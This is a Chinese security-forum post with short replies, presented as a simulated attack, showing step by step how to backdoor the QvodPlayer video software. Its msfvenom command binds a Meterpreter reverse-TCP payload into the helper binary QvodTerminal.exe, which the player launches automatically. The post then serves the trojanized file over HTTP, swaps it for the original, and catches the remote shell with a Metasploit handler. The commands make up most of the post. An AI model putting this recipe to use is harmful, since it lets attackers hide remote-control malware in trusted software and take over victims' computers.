用户
搜索

[二进制安全] msf+后门插入

  • TA的每日心情
    奋斗
    2018-3-12 19:36
  • 签到天数: 7 天

    连续签到: 1 天

    [LV.3]经常看看I

    安全团队

    Rank: 7Rank: 7Rank: 7

    12

    主题

    20

    帖子

    226

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-9-27

    i春秋认证安全团队

    发表于 2020-4-25 19:51:38 42531

                                                                模拟黑客给真正的快播软件加上后门
    有没有,当杀毒报有毒,你还运行的软件情况?当你遇到以下情况:  windows 激活工具,私服客户端,盗版游戏,看片神器,裸聊神器,彩票,抢红包软件,激活工 具,CRT激活工具,注册机。。。 你还会添加信任,心里还很开心运行?
    1、 先下载一个正常的快播软件 我已经下载绿色版本,免安装的快播软件。
    2、 、先下载一个正常的快播软件 我已经下载绿色版本,免安装的快播软件。
    图片1.png
    给一个正常的软件加后门的思路是什么?
    先查看主程序会调用哪些附加的小程序,然后把payload后门和这些小程序绑定到一起。当然也可以 直接加到主程序上,但是加主程序上,有时报错。 当QvodPlayer.exe 主程序运行时,会自动调用QvodTerminal.exe 这个小程序。
                             图片2.png
    上传QvodTerminal.exe  到kali上 (rz命令上传/或者直接拖动)
    QvodTerminal.exe  注入payload后门程序
    root@linux:~# msfVENOM -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=192.168.1.53 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
    使用绑定了后门的QvodTerminal.exe替换原来的QvodTerminal.exe 在win7虚拟机上下载绑定了后门的QvodTerminal.exe 在浏览器上访问:http://192.168.1.53/QvodTerminal.exe  下载QvodTerminal.exe 将下载的QvodTerminal.exe替换原文件中的QvodTerminal.exe
    图片3.png

    在kali上开始监听后门
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set LHOST 192.168.1.53
    msf5 exploit(multi/handler) > set LPORT 4444
                           msf5 exploit(multi/handler) > exploit
  • Started reverse TCP handler on 192.168.1.53:4444
  •                            图片4.png
                                图片5.png
                                  Kali上查看会话已经建立了,说明后门运行成功了
                                      图片6.png


    发表于 2020-4-26 08:01:00
    谢谢分享。。
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2020-4-27 13:59:21
    文章有点水,细节什么都没有
    使用道具 举报 回复
    文章有点水,细节什么都没有
    使用道具 举报 回复
    太水了吧
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册